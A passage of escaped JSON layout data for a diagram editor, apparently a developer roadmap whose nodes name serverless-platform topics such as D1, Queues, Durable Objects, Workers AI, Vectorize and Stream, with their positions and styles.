999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.5985688843266,\n        \"y\": 991.6457010436021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UNE6XK4su5r2jcxhY7hOG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.5985688843266,\n        \"y\": 1044.645701043602\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bucket Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.5985688843266,\n        \"y\": 1044.645701043602\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YvgmmF9sWfURgijFV7E31\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.5985688843266,\n        \"y\": 1097.645701043602\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bucket Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UNE6XK4su5r2jcxhY7hOG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.5985688843266,\n        \"y\": 1097.645701043602\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mKN0Ta3zSk7PCm_uHYKFN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 158.27909338877345,\n        \"y\": 1174.9754953712302\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"D1\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gxLUlXGuaY5Q-0xmBgQwz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 158.27909338877345,\n        \"y\": 1174.9754953712302\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"PnhP47woPJb_JnLpMMiTw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1114.6280432813637\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Schema Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1114.6280432813637\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M8rSSVFUHixgWZRfaBPHb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1167.6280432813637\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Migrations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1167.6280432813637\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"65xDESm6jbHWkVO4NgHqx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1220.6280432813637\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Query Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1220.6280432813637\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MpWO1sroeF106SEMU1V1a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.87814569065125,\n        \"y\": 1285.958502239233\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Drizzle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -245.87814569065125,\n        \"y\": 1285.958502239233\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h3MHLZZwkYqqb5PSfMhpB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -141.87814569065125,\n        \"y\": 1285.958502239233\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prisma\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -141.87814569065125,\n        \"y\": 1285.958502239233\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"brZctR1PMK6yErGIfRo_G\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -197.51237120830484,\n        \"y\": 1337.3942173748287\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -197.51237120830484,\n        \"y\": 1337.3942173748287\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"QmxWfOTVNW6WTEbPtEqev\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -19.528343636044667,\n        \"y\": 1114.6280432813637\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 207,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 207\n      },\n      \"positionAbsolute\": {\n        \"x\": -19.528343636044667,\n        \"y\": 1114.6280432813637\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 207\n      }\n    },\n    {\n      \"id\": \"9MlFtF1q0eis4YmCEmIir\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 544.982416535137,\n        \"y\": 1174.9754953712302\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Durable Execution\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 48\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 544.982416535137,\n        \"y\": 1174.9754953712302\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 48\n      }\n    },\n    {\n      \"id\": \"zyRgTtlng6idboSgL9YTt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 581.982416535137,\n        \"y\": 1288.4799140839043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 581.982416535137,\n        \"y\": 1288.4799140839043\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EFA8m0EdhygxcBWzwmbnT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.982416535137,\n        \"y\": 1389.7759268553775\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Message Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 541.982416535137,\n        \"y\": 1389.7759268553775\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"qgvDGyLjc6lMmVPjHozFM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.982416535137,\n        \"y\": 1443.7759268553775\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Background Jobs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 541.982416535137,\n        \"y\": 1443.7759268553775\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MInAsLLJtIq6WQDSj5yGH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.982416535137,\n        \"y\": 1496.7759268553775\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rate Limiting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 541.982416535137,\n        \"y\": 1496.7759268553775\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Grl59SjY31Q3sgf9uX-xf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.982416535137,\n        \"y\": 1549.7759268553775\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dead Letter Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 541.982416535137,\n        \"y\": 1549.7759268553775\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G-xBbtaniYFRE9Dgs18px\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 159.9816756636405,\n        \"y\": 1288.4799140839043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Durable Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 159.9816756636405,\n        \"y\": 1288.4799140839043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EQjhRlM7zpANNWkypScIl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1394.4160042707758\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243\n      },\n      \"positionAbsolute\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1394.4160042707758\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RYm0oBFCxm-S-aCwZ21p6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1447.4160042707758\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Coordination\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243\n      },\n      \"positionAbsolute\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1447.4160042707758\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"36w4Q73XkCwo5Cva0XsF8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1500.4160042707758\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Persistence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243\n      },\n      \"positionAbsolute\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1500.4160042707758\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rxxibrJUo1rQ3XCuUIP59\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1553.4160042707758\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transactional Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 124.98167566364049,\n        \"y\": 1553.4160042707758\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rAl7zXcODiqIpS__3qf1A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -256.2583309760692,\n        \"y\": 1428.0801885474361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workflows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"G-xBbtaniYFRE9Dgs18px\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -256.2583309760692,\n        \"y\": 1428.0801885474361\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yTtjbO_dji8ssSaOAKpCV\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -292.2583309760692,\n        \"y\": 1529.9764904620736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Features\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"9MlFtF1q0eis4YmCEmIir\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 55,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -292.2583309760692,\n        \"y\": 1529.9764904620736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"a0S0_JLwLLNGLUAHrqG4P\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -256.2583309760692,\n        \"y\": 1634.6916034998312\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workers AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -256.2583309760692,\n        \"y\": 1634.6916034998312\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zMwmoCUp9429_aXU-Bz4H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1721.8046659749807\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Text Generation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1721.8046659749807\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S7laV14zsx31O0Tsj2SRL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1774.8046659749807\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Image Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1774.8046659749807\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HJbJ8OxjJzznYwLlIOSO2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1827.8046659749807\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Speech Rcognition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1827.8046659749807\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QxPoNHsL-Pj_z3aU6qEP4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1880.8046659749807\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AI Model Integration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -277.7583309760692,\n        \"y\": 1880.8046659749807\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NWGVtH1vxQuO4lly0Omuy\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 79.83264623685739,\n        \"y\": 1634.6916034998312\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vectorize\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vHQdMgaL2EEr2o_eJmOuV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 79.83264623685739,\n        \"y\": 1634.6916034998312\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UIWaR1ZdjSm0UAS69Kz_5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.332646236857386,\n        \"y\": 1724.2807234618997\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vector Embeddings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 40.332646236857386,\n        \"y\": 1724.2807234618997\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pg3GtykCegK411DYDN8sN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.332646236857386,\n        \"y\": 1777.2807234618997\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Similarity Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.332646236857386,\n        \"y\": 1777.2807234618997\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ep9_oV_YnkbH1gHM-n3gO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.332646236857386,\n        \"y\": 1830.2807234618997\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AI-powered Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.332646236857386,\n        \"y\": 1830.2807234618997\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LoT3NtpNj9uAgQRV-MD_E\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 346.6978266236106,\n        \"y\": 1634.6916034998312\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stream\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vHQdMgaL2EEr2o_eJmOuV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 346.6978266236106,\n        \"y\": 1634.6916034998312\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zQp7XfDKWJgMf2LexRJhN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.1978266236106,\n        \"y\": 1721.3878759780328\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Video Delivery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.1978266236106,\n        \"y\": 1721.3878759780328\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RiQSPAV9uRFgwQFJckTFV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.1978266236106,\n        \"y\": 1774.3878759780328\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Live streaming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.1978266236106,\n        \"y\": 1774.3878759780328\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3B6Z7F0D3Sf8ZBlV3kkGx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.1978266236106,\n        \"y\": 1827.3878759780328\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Video Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.1978266236106,\n        \"y\": 1827.3878759780328\n      },\n      \"selectable\": true,\n      \"focusable\": 